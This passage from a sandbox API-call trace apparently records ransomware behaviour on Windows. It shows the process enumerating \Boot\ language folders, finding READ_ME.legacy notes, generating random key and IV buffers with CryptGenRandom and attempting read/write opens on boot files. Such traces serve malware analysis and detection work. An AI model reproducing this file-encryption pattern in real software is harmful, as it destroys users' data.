(HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0e28 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0e28 | out: hHeap=0x520000) returned 1 [0107.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0107.314] FindNextFileW (in: hFindFile=0x5a0b28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1a7e6be, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0e28 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0e28 | out: hHeap=0x520000) returned 1 [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0107.315] FindNextFileW (in: hFindFile=0x5a0b28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0107.315] FindNextFileW (in: hFindFile=0x5a0b28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a7e6be, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1a7e6be, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1a7e6be, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] GetLastError () returned 0x0 [0107.315] SetLastError (dwErrCode=0x0) [0107.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0107.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0107.316] FindNextFileW (in: hFindFile=0x5a0b28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a7e6be, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1a7e6be, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1a7e6be, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0107.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d130 [0107.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0107.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d130 | out: pbBuffer=0x54d130) returned 1 [0107.316] SetFileAttributesW (lpFileName="\\Boot\\bg-BG\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0107.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0107.316] CreateFileW (lpFileName="\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0107.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0107.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0107.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0107.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0107.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0107.316] FindFirstFileW (in: lpFileName="\\Boot\\cs-CZ\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0e28 [0107.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0107.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0107.316] GetLastError () returned 0x5 [0107.316] SetLastError (dwErrCode=0x5) [0107.316] GetLastError () returned 0x5 [0107.316] SetLastError (dwErrCode=0x5) [0107.316] GetLastError () returned 0x5 [0107.316] SetLastError (dwErrCode=0x5) [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ea8 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ea8 | out: hHeap=0x520000) returned 1 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0107.317] FindNextFileW (in: hFindFile=0x5a0e28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0107.317] GetLastError () returned 0x5 [0107.317] SetLastError (dwErrCode=0x5) [0107.317] GetLastError () returned 0x5 [0107.317] SetLastError (dwErrCode=0x5) [0107.317] GetLastError () returned 0x5 [0107.317] SetLastError (dwErrCode=0x5) [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ea8 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ea8 | out: hHeap=0x520000) returned 1 [0107.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0107.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0107.317] FindNextFileW (in: hFindFile=0x5a0e28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0107.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0107.318] GetLastError () returned 0x5 [0107.318] SetLastError (dwErrCode=0x5) [0107.318] GetLastError () returned 0x5 [0107.318] SetLastError (dwErrCode=0x5) [0107.318] GetLastError () returned 0x5 [0107.318] SetLastError (dwErrCode=0x5) [0107.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0107.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0107.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0107.318] FindNextFileW (in: hFindFile=0x5a0e28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0107.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0107.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0107.318] GetLastError () returned 0x5 [0107.318] SetLastError (dwErrCode=0x5) [0107.318] GetLastError () returned 0x5 [0107.318] SetLastError (dwErrCode=0x5) [0107.318] GetLastError () returned 0x5 [0107.318] SetLastError (dwErrCode=0x5) [0107.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0107.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0107.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0107.318] FindNextFileW (in: hFindFile=0x5a0e28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aa481f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aa481f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0107.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0107.318] GetLastError () returned 0x5 [0107.318] SetLastError (dwErrCode=0x5) [0107.318] GetLastError () returned 0x5 [0107.318] SetLastError (dwErrCode=0x5) [0107.319] GetLastError () returned 0x5 [0107.319] SetLastError (dwErrCode=0x5) [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0107.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0107.319] FindNextFileW (in: hFindFile=0x5a0e28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aa481f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aa481f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0107.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0107.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0107.319] SetFileAttributesW (lpFileName="\\Boot\\cs-CZ\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0107.319] CreateFileW (lpFileName="\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0107.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0107.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0107.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0107.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0107.320] SetFileAttributesW (lpFileName="\\Boot\\cs-CZ\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0107.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0107.320] CreateFileW (lpFileName="\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0107.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0107.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0107.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0107.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0107.320] FindFirstFileW (in: lpFileName="\\Boot\\da-DK\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0ea8 [0107.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0107.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0107.320] GetLastError () returned 0x5 [0107.320] SetLastError (dwErrCode=0x5) [0107.320] GetLastError () returned 0x5 [0107.320] SetLastError (dwErrCode=0x5) [0107.321] GetLastError () returned 0x5 [0107.321] SetLastError (dwErrCode=0x5) [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0107.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5a0 [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ee8 [0107.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ee8 | out: hHeap=0x520000) returned 1 [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0107.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0107.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5a0 | out: hHeap=0x520000) returned 1 [0107.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0107.321] FindNextFileW (in: hFindFile=0x5a0ea8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.321] GetLastError () returned 0x5 [0107.321] SetLastError (dwErrCode=0x5) [0107.321] GetLastError () returned 0x5 [0107.321] SetLastError (dwErrCode=0x5) [0107.321] GetLastError () returned 0x5 [0107.321] SetLastError (dwErrCode=0x5) [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d710 [0107.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5f0 [0107.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ee8 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ee8 | out: hHeap=0x520000) returned 1 [0107.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0107.322] FindNextFileW (in: hFindFile=0x5a0ea8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0107.322] GetLastError () returned 0x5 [0107.322] SetLastError (dwErrCode=0x5) [0107.322] GetLastError () returned 0x5 [0107.322] SetLastError (dwErrCode=0x5) [0107.322] GetLastError () returned 0x5 [0107.322] SetLastError (dwErrCode=0x5) [0107.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0107.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0107.322] FindNextFileW (in: hFindFile=0x5a0ea8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0107.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0107.322] GetLastError () returned 0x5 [0107.322] SetLastError (dwErrCode=0x5) [0107.322] GetLastError () returned 0x5 [0107.322] SetLastError (dwErrCode=0x5) [0107.322] GetLastError () returned 0x5 [0107.322] SetLastError 